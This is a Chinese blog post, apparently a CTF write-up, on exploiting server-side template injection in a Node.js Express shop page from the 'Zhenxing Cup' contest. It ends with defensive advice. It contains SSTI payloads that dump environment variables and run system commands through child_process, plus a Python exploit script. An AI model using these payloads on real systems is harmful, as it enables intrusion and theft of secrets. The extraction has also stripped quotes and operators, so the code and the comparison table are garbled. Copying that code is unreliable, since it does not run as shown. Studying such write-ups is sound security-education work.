从一道CTF题看Node.js Express的SSTI漏洞实战:手把手教你复现‘振兴杯’Web2题

发布时间:2026/7/27 23:45:48

从一道CTF题看Node.js Express的SSTI漏洞实战:手把手教你复现‘振兴杯’Web2题 从零攻破Node.js SSTI漏洞以振兴杯CTF赛题为例的深度实战指南当你第一次在CTF比赛中遇到那个看似普通的购物车功能时可能不会想到它背后隐藏着一个危险的服务器端模板注入(SSTI)漏洞。本文将带你深入理解这个在Node.js Express框架中常见的漏洞类型通过复现江西省振兴杯网络安全大赛中的一道经典题目手把手教你从漏洞发现到利用的全过程。1. SSTI漏洞基础为什么你的模板引擎可能成为攻击入口模板引擎是现代Web开发中不可或缺的工具它允许开发者将动态数据嵌入到静态页面模板中。但正是这种动态渲染的特性如果处理不当就会打开一扇让攻击者执行任意代码的大门。模板引擎工作原理对比引擎类型语法示例安全特性Jade/Pugh1 title默认不转义HTMLEJS% title %有安全输出模式Handlebars{{title}}默认HTML转义在Node.js生态中Express框架常配合Jade、EJS等模板引擎使用。当用户输入未经适当处理就直接传递给模板渲染函数时就可能发生SSTI漏洞。例如// 危险代码示例 app.get(/unsafe, (req, res) { res.render(template, { input: req.query.userInput }); });2. 漏洞识别从黑盒测试到框架指纹识别回到振兴杯那道CTF题目我们首先注意到一个购买服务的功能其中价格参数似乎存在注入点。以下是关键的漏洞识别步骤基础测试尝试在价格字段输入{{7*7}}观察是否返回49响应头分析检查HTTP头中的X-Powered-By字段确认是Express框架错误信息收集故意触发模板错误通过错误信息判断具体模板引擎类型自动化探测脚本的核心逻辑import requests def detect_ssti(url, param, payload): data {param: payload} try: r requests.post(url, datadata) return payload.strip({}) in r.text except: return False # 测试常用模板引擎语法 payloads { Jade: #{7*7}, Twig: {{7*7}}, Handlebars: {{#with s as |string|}}7*7{{/with}} }3. 漏洞利用从简单计算到环境变量读取确认存在SSTI漏洞后我们需要构造特定的payload来获取系统信息。在Node.js环境中常用的攻击向量是通过process对象访问敏感信息。分阶段利用策略信息收集{{this}}→ 获取当前上下文对象{{constructor}}→ 访问构造函数函数调用{{.constructor.prototype}}→ 访问基础对象原型{{this.constructor.constructor(return process)()}}→ 动态执行代码敏感数据获取{{JSON.stringify(process.env)}}→ 读取环境变量(通常包含flag){{require(child_process).execSync(whoami)}}→ 执行系统命令注意在实际CTF比赛中通常只需要读取环境变量即可获取flag无需执行危险命令4. 实战复现编写自动化利用工具基于比赛中的场景我们可以编写一个Python脚本来自动化整个利用过程。以下是改进后的脚本增加了错误处理和结果解析import requests import re import sys import json def exploit_ssti(target_url): # 第一阶段确认漏洞存在 test_payload {price: {7*7}} r requests.post(f{target_url}/buy, datatest_payload) if 49 not in r.text: print([-] SSTI漏洞不存在或payload不适用) return False # 第二阶段获取环境变量 env_payload {price: {{JSON.stringify(process.env)}}} r requests.post(f{target_url}/buy, dataenv_payload) # 第三阶段解析结果 try: env_data re.search(r({.*}), r.text).group(1) env_dict json.loads(env_data) print([] 成功获取环境变量) for k, v in env_dict.items(): if flag in k.lower(): print(f \033[92m{k}: {v}\033[0m) # 高亮显示flag else: print(f {k}: {v}) return True except Exception as e: print(f[-] 解析失败{str(e)}) return False if __name__ __main__: if len(sys.argv) ! 2: print(f用法{sys.argv[0]} 目标URL) sys.exit(1) exploit_ssti(sys.argv[1])脚本使用示例python ssti_exploit.py http://ctf.example.com:80805. 防御措施如何避免成为下一个漏洞受害者理解了攻击原理后作为开发者更应该知道如何防护。以下是针对Node.js应用的SSTI防护方案输入验证对所有用户输入进行严格的白名单验证使用正则表达式过滤特殊字符/^[a-zA-Z0-9\s]$/模板引擎配置禁用动态模板包含功能使用沙箱环境执行模板如vm2模块安全编码实践避免直接将用户输入传递给模板渲染函数使用安全的模板上下文传递方式// 安全代码示例 app.get(/safe, (req, res) { const sanitized { userInput: escapeHtml(req.query.userInput) }; res.render(template, sanitized); }); function escapeHtml(unsafe) { return unsafe .replace(//g, amp;) .replace(//g, lt;) .replace(//g, gt;) .replace(//g, quot;) .replace(//g, #039;); }在CTF比赛中遇到SSTI题目时记住这个基本流程测试输入→识别引擎→构造payload→获取flag。而在实际开发中则应该始终遵循不信任用户输入的原则做好充分的输入验证和输出编码。

相关新闻